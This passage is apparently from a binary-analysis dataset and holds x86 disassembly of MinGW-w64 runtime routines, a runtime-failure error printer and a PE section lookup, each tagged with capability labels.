sub esp, 0xc
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x401a10
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp sym.___write_memory.part.0
Function at 0x402410
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x402448
xor edx, edx
nop
mov ecx, dword [eax + 0xc]
cmp ecx, ebx
ja 0x40243e
add ecx, dword [eax + 8]
cmp ebx, ecx
jb 0x40244a
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x402430
xor eax, eax
pop ebx
pop esi
ret